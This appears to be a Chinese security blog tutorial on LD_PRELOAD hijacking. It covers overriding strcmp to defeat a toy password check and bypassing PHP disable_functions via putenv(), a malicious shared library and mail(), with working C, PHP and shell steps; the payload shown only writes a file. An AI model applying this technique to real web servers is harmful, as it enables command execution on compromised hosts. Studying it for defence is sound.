什么是LD_PRELOAD
在Linux的动态链接库的世界中,LD_PRELOAD是一个环境变量,它可以影响程序的运行时的链接(Runtime linker),允许你定义在程序运行前优先加载的动态链接库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
这里我们举行一个密码验证的例子,来初步探究LD_PRELOAD与动态链接的关系。
/* login.c */
#include <stdio.h>
#include<string.h>
int main(int argc,char **argv){
char passwd[]="password";
if(!strcmp(passwd,argv[1])){
printf("Correct Password!/n");
return 1;
}
printf("Invalid Password!/n");
return 0;
}
在上面这段程序中,我们使用了strcmp函数来判断两个字符串是否相等。下面,我们使用一个动态函数库来重载strcmp函数:
/* hack.c */
#include "stdio.h"
#include <string.h>
int strcmp(const char *s1,const char *s2){
printf("hacking! s1=%s,s2=%s\n",s1,s2);
// return 0 indicates that 2 strings are equial
return 0 ;
}
编译程序:
☁ c gcc login.c -o login
☁ c gcc -shared hack.c -o hack.so
运行一下:
☁ c ./login 123456
Invalid Password!/n%
设置LD_PRELOAD变量:(使我们重写过的strcmp函数的hack.so成为优先载入链接库),再重新运行
☁ c export LD_PRELOAD="./hack.so"
☁ c ./login 123456
hacking! s1=password,s2=123456
Correct Password!/n%
可以看到:
- 我们的hack.so中的ctramp被调用了。
- 主程序中的运行结果被影响了。
绕过disable_function
设想这样一种思路:
利用web漏洞启动一个新进程a.bin
a.bin内部调用系统函数b(),b()位于系统共享对象c.so中
我们创建c_evil.so,c_evil.so含有与b()中同名的恶意函数,同时把利用web漏洞将c_evil.so加载到环境变量中
由于c_evil.so优先级最高,所以a.bin将调用c_evil.so中的b(),达到命令执行。
根据上面的思路,我们需要web漏洞环境满足以下几种条件:
- 具有可写入目录,用于上传.so文件
- 能够控制LD_PRELOAD环境变量的值,例如putenv() 函数。
- 函数调用的新进程需要加载.so文件。
在第三点中,经过测试mail()
、imap_mail()
、mb_send_mail()
、error_log()
均可以调用外部新进程,这里我们拿mail()
作为研究对象。
<?php
mail("","","","","");
?>
strace命令可以用于跟踪api调用情况
☁ ~ strace -f php mail.php 2>&1 | grep -A2 -B2 execve
sh: 1: /usr/sbin/sendmail: not found
发现确实调用了外部进程..但我没有下载…下载后:
我们再跟进看一看sendmail:
☁ ~ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 347 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_init@SASL2 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DH_size@OPENSSL_1_1_0 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_set_flags@OPENSSL_1_1_0 (3)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND wait@GLIBC_2.2.5 (4)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_add_crl@OPENSSL_1_1_0 (3)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_load_verify_locations@OPENSSL_1_1_0 (5)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_client_CA_list@OPENSSL_1_1_0 (5)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ERR_reason_error_string@OPENSSL_1_1_0 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DSA_generate_parameters_ex@OPENSSL_1_1_0 (3)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (4)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getsockname@GLIBC_2.2.5 (4)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __res_state@GLIBC_2.2.5 (4)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND uname@GLIBC_2.2.5 (4)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BN_new@OPENSSL_1_1_0 (3)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND select@GLIBC_2.2.5 (4)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND RSA_new@OPENSSL_1_1_0 (3)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.14 (6)
...
...
在若干库函数中,我们选择getuid作为研究对象。
/* hack.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void hack(){
system("echo theoyu > result");
}
int getuid(){
unsetenv("LD_PRELOAD");
hack();
}
编译:
☁ demo gcc -shared hack.c -o hack.so
php:
<?php
putenv("LD_PRELOAD=/home/theoyu/demo/hack.so");
mail("","","","","");
?>
执行:
☁ demo php mail.php
☁ demo cat result
theoyu
可以看到我们没有利用任何PHP 的 命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
但很明显可以看到一点,在真实情况下,肉鸡不一定安装了sendmail,我们也不可能通过www-data用户去让其安装,基于这点,yangyangwithgnu师傅发现了一个可以加载时就执行代码的方法,进而达到命令执行的效果。
一个误区
在yangyangwithgnu的文章中,是这样写到的:
回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,
而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。这种场景与 C++ 的构造函数
简直神似!几经搜索后了解,GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),
可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加
载,立即将执行 __attribute__((constructor)) 修饰的函数。强调下,这一细节非常重要,很多
朋友用LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,我们不
要局限于仅劫持某一函数,而应考虑劫持共享对象。
按照这篇文章的说法,我们只需利用putenv
设置LD_PRELOAD
,使得使用了__attribute__((constructor))
修饰函数的恶意动态链接库被系统加载便能实现命令执行,而不再需要再去劫持程序调用的库函数,sendmail
存不存在也就无所谓了。
然而我们的这个恶意动态链接库(共享对象)究竟是怎么被 “系统” 加载的呢?文章中没有说的很清楚,也可能是我对于程序的链接、装载这一块确实不了解,所以我打算动手实践一下。
但是一个不可思议的结果发生了… 我手动把sendmail 删除后,不小心又重新运行了一次php mail.php
,result 命令执行居然还是成功了。
☁ demo php mail.php
sh: 1: /usr/sbin/sendmail: not found
☁ demo cat result
theoyu
这我不太能接受,如果sendmail根本不需要的话,那文章的后大篇幅关于__attribute__((constructor))的讲解也是没有太大意义的,我们回头看看strace -f php mail.php 2>&1 | grep -A2 -B2 execve
事实上,顺着作者的思路,我们居然把/bin/sh这个调用进程所忽略了,也就是说在这一步,真正加载了动态链接库的其实是/bin/sh
的进程,其实我们大可不必使用__attribute__((constructor))
,直接劫持/bin/sh
的库函数即可,方法与sendmail 一致。可以说用__attribute__((constructor))
,只是为我们免去了挑选库函数的一步而已。